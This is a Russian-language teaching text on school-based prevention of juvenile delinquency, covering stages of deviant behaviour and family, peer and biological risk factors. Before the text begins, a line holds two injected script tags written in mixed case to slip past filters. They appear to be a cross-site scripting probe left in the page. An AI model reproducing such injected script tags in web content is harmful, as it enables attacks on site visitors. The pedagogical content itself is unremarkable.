<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Система кризисно - значимых моментов школьной жизни.

    Несмотря на намеченные положительные тенденции в развитии общества, мы понимаем, что живем в сложный переходный период нашего государства, и именно молодое

поколение находится в очень трудной социально-психологической ситуации. В

значительной мере разрушены прежние устаревшие стереотипы поведения,

нормативные и ценностные ориентации. Молодые люди утрачивают смысл

происходящего и зачастую не имеют определённых жизненных навыков, которые

позволили бы сохранить свою индивидуальность и сформировать здоровый эффективный

жизненный стиль. Особенно дети и подростки, находясь под воздействием

хронических, непрерывно возрастающих интенсивных стрессовых ситуаций, не

готовы к их преодолению и страдают от возможных негативных последствий. Это

способствует поиску средств, помогающих уходить от тягостных переживаний. В

данной ситуации на первое место, конечно же это в крупных городах в первую

очередь, вышла наркотизация подростков, позволяющая спрятаться от

действительности, различные виды злоупотреблений психоактивных веществ и

алкоголя, повышение количества правонарушений, вследствие безнадзорности

детей.

  Поэтому на педагогов возложена огромная ответственность за

воспитание личности с социально-активной позицией, формирование у учащихся

понятия «свобода слова», умений правильно вести дискуссию, спор, умение

аргументировано отстаивать свою позицию, умение слушать других и быть

услышанным другими, умение сказать «НЕТ» негативным проявлениям, умение

словом и делом помочь другому.

Особенно мы осознаём такую ответственность, когда

говорим о воспитании у подрастающего поколения потребности вести здоровый

образ жизни, получать высокий уровень образования и искать своё место в

будущем.

Профилактическая работа с обучающимися – процесс сложный, многоаспектный, продолжительный по времени. Специфическая задача школы в сфере предупреждения правонарушений заключается в проведении ранней профилактики, т.к. ни одна другая социальная структура не в состоянии решить данную задачу.

  Исключение составляет семья, однако и

она сама нередко выступает в качестве объекта профилактической деятельности.

Основой ранней профилактики является создание условий, обеспечивающих

возможность нормального развития детей, своевременное выявление типичных

кризисных ситуаций, возникающих у учащихся определенного возраста.

Я предлагаю вам окунуться в суть проблемы и

рассмотреть факторы и причины возникновения правонарушений среди школьников.

1. Неблагоприятные условия семейного воспитания

2. Недостаточное внимание и любовь со стороны родителей

3. Гиперопека.

4. Чрезмерное удовлетворение потребностей ребенка.

5.Чрезмерная требовательность и авторитарность родителей. 

6.Отрицательное влияние стихийно-группового общения

В системе профилактической деятельности школы выделяют два

направления: меры общей профилактики, обеспечивающие вовлечение всех

учащихся в жизнь школы, и меры специальной профилактики, состоящие в

выявлении учащихся, нуждающихся в особом педагогическом внимании, и

проведении работы с ними на индивидуальном уровне.

    Вовремя замеченные

отклонения в поведении детей и подростков и правильно организованная

педагогическая помощь могут сыграть важную роль в предотвращении деформации

личности растущего человека, которая приводит к правонарушениям и

преступлениям.

     В педагогической

литературе выделяют следующие стадии отклоняющегося поведения:

1)- неодобряемое поведение – поведение, эпизодически

наблюдаемое у большинства детей и подростков, связанное с шалостями

озорством, непослушанием, непоседливостью, упрямством;

- порицаемое поведение -  поведение,

вызывающее более или менее осуждение окружающих, педагогов, родителей

(эпизодические нарушения дисциплины, случаи драчливости, грубости, дерзости,

нечестности);

2)- девиантное поведение - нравственно отрицательные

действия и поступки (лживость, притворство, лицемерие, эгоизм, конфликтность,

агрессивность воровство и т. д.), принявшие характер систематических или

привычных;

3)- предпреступное поведение - поведение, несущее в себе

зачатки криминального и деструктивного поведения (эпизодические умышленные

нарушения норм требований, регулирующих поведение и взаимоотношения людей в

обществе, хулиганство, избиения, вымогательство, распитие спиртных

напитков, злостные нарушения дисциплины и общепринятых правил поведения и т.

д.);

 4)- противоправное или преступное

поведение - поведение,

связанное с раз личными правонарушениями и преступлениями.

    Нравственная деформация

формирующейся личности и отклонения в пове­дении зачастую являются следствием

нарушений взаимосвязей с микросредой. Назову наиболее существенные

дефекты межличностных отношений, с ко­торыми ребенок сталкивается в семье, в

школе, на улице:

1)   Неблагоприятные условия

семейного воспитания

Асоциальное поведение родителей. Для ребенка самый действенный

образец это его родители. Данные ряда научных

исследований свидетельствуют о том, что каждый третий несовершеннолетний

правонарушитель воспитывался в такой семье, где он постоянно сталкивался с

резко отрицательными аспектами поведения родителей: систематическим

пьянством, скандалами, развратом, проявлениями жестокости, совершением

взрослыми преступлений. Из семей, где повседневное поведение взрослых носит

антиобщественный характер, выходит в 10 раз больше детей с отклонениями в поведении,

чем из других семей.

2) Недостаточное внимание и любовь со стороны

родителей.

3) Гиперопека.

4) Чрезмерное удовлетворение потребностей ребенка.

5)Чрезмерная требовательность и авторитарность

родителей. Излишняя суровость родителей, чрезмерное использование

всевозможных ограничений и запретов, наказаний, унижающих детей, оскорбляющих

их человеческое достоин­ство, стремление подчинить ребенка своей воле,

навязывание своего мнения и готовых решений, категоричность суждений и

приказной тон, использование принуждения и репрессивных мер, включая

физические наказания, разрушают атмосферу взаимопонимания и доверия, нередко

толкая детей на преступления.

6)   Отрицательное влияние

стихийно-группового общения

Дружеское общение со сверстниками - одна из главных

психологических потребностей в подростковом и юношеском возрасте.

Как правило, вне школы дети общаются с близкими по

духу, получая то, что не могут получить в семье и в школе: внимание,

признание, заботу. В неформальной группе их никто не ругает за неуспеваемость

или проступки. Напротив, там их «понимают», одобряют и поддерживают.

Все перечисленные выше факторы можно отнести к

категории социальных! Кроме этого следует учесть, что причина

отклоняющегося поведения может определяться и биологическими факторами: у

подростков (от 11-13 до 15-17 лет) период полового созревания появляется

сильное стремление к самостоятельности и проявляется негативизм и упрямство.

У подростка возникает желание к беспощадному отрицанию всего, до сих пор

принимаемого им.